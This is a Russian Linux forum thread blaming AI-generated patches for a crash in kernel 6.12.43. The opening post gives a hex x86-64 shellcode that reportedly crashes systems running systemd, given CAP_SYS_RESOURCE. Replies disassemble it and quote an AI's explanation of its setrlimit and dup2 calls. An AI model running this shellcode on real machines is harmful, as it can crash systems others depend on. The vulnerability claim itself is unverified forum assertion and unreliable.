LINUX.ORG.RU
Форум — Security  

«AI slop» продолжает разрушать ядро Linux, Линус Торвальдс молчит...

 , , ,


0

3

В LTS ветке ядра Linux, версии 6.12.43, можно легко крашнуть при условии наличия привелегии CAP_SYS_RESOURCE и установленного systemd с помощью следующего кода:

40 b7 40 c1 e7 18 83 ef 08 57 57 31 ff 40 b7 07 31 c0 b0 a0 48 89 e6 0f 05 5e ff ce 31 ff b0 21 0f 05 тёрли свинки друг другу спинки мыли хвостики крючки отмывали пятачки парились веничком парились берёзовым вылетали из парной облачком розовым

Это не первый раз, когда «AI slop» в Linux привлекает внимание. До этого вайб-кодер из Nvidia добавил уязвимости в Linux на пустом месте из-за того что использовал LLM без проверки кода, который она ему выдала.

И это только начало, судя по политике приёма патчей (точнее, отстутсивю любых проверок на валидность кода в патчах, если код приходит от друзей-корпоратов).

Никто не знает полное количество уязвимостей, которые уже успели попасть в Linux за время существования AI в их современном понимании.

Более подробно в треде в X (Twitter)

Перемещено hobbit из linux-general



Последнее исправление: gateb25240 (всего исправлений: 2)
← Какие есть гарантии, что разработчики СПО не торгуют своими пользователями?
Есть разница →

хмм... 

0 $ echo 40 b7 40 c1 e7 18 83 ef 08 57 57 31 ff 40 b7 07 31 c0 b0 a0 48 89 e6 0f 05 5e ff ce 31 ff b0 21 0f 05 | tr -d ' ' | xargs cstool x64
 0  40 b7 40                                         mov	dil, 0x40
 3  c1 e7 18                                         shl	edi, 0x18
 6  83 ef 08                                         sub	edi, 8
 9  57                                               push	rdi
 a  57                                               push	rdi
 b  31 ff                                            xor	edi, edi
 d  40 b7 07                                         mov	dil, 7
10  31 c0                                            xor	eax, eax
12  b0 a0                                            mov	al, 0xa0
14  48 89 e6                                         mov	rsi, rsp
17  0f 05                                            syscall	
19  5e                                               pop	rsi
1a  ff ce                                            dec	esi
1c  31 ff                                            xor	edi, edi
1e  b0 21                                            mov	al, 0x21
20  0f 05                                            syscall	
0 $

superuser ★★★★☆
()
Ответ на: комментарий от MoldAndLimeHoney

Я не знаю о каких вы тормозах, но я подозреваю что вы не используете Enterprise G версию, там такого нет, что у вас у всех тормозит то?))))

Котелок похоже, да логику не завезли в базовую поставку кожаного)

RedTerror
()
Ответ на: комментарий от rukez

Пока бредогенераторы играющие в угадайки

Пока IT-псевдоспециалисты, не осилят почитать википедию хотя бы, отрасль будет в опасносте

Какой чудовищный кринж

James_Holden ★★★★★
()
Ответ на: комментарий от mark1

Можно, но выдачу от ИИ надо вдумчиво проверять, а не заваливать разработчиков спамом по сути. Очень мало от найденного реальная уязвимость.

anonymous
() 
The hex sequence is x86-64 shellcode that performs the following operations:

Computes a large value (0x3ffffff8) and pushes it twice onto the stack to form a struct rlimit.
Sets the resource type to RLIMIT_NOFILE (7).
Invokes syscall 160 (setrlimit) to raise both the soft and hard limits on the number of open files to 0x3ffffff8.
Pops one value from the stack, decrements it to 0x3ffffff7.
Invokes syscall 33 (dup2) to duplicate file descriptor 0 (stdin) to the high file descriptor 0x3ffffff7.

Systemd is related because modern versions (as the init process) increase the system-wide fs.nr_open sysctl to a very high value (e.g., 2^27 or higher), allowing the setrlimit call to succeed with such a large limit without failing due to exceeding fs.nr_open. On non-systemd systems, fs.nr_open defaults to a much lower value (typically 1M), causing setrlimit to fail early

нейронка разобралась))

А если серьезно, то разработка ядра похоже уже давно прогнила. Я помню историю, как Грега КХ спросили что будет, если патч на Си сломает какие-нибудь раст-биндинги. Грег начал объяснять что там есть специальные дружелюбные раст-мейнтейнеры, которые все поправят. Его спросили, а что случится, если правки окажутся нетривиальными. На что он начал мямлить, что пока такого не случалось. На что ему предъявили патч, которые месяц висел без мержа как раз из-за этого. Он на это просто не стал отвечать.

Lrrr ★★★★★
()
Последнее исправление: Lrrr (всего исправлений: 1)
← Какие есть гарантии, что разработчики СПО не торгуют своими пользователями?
Security
Есть разница →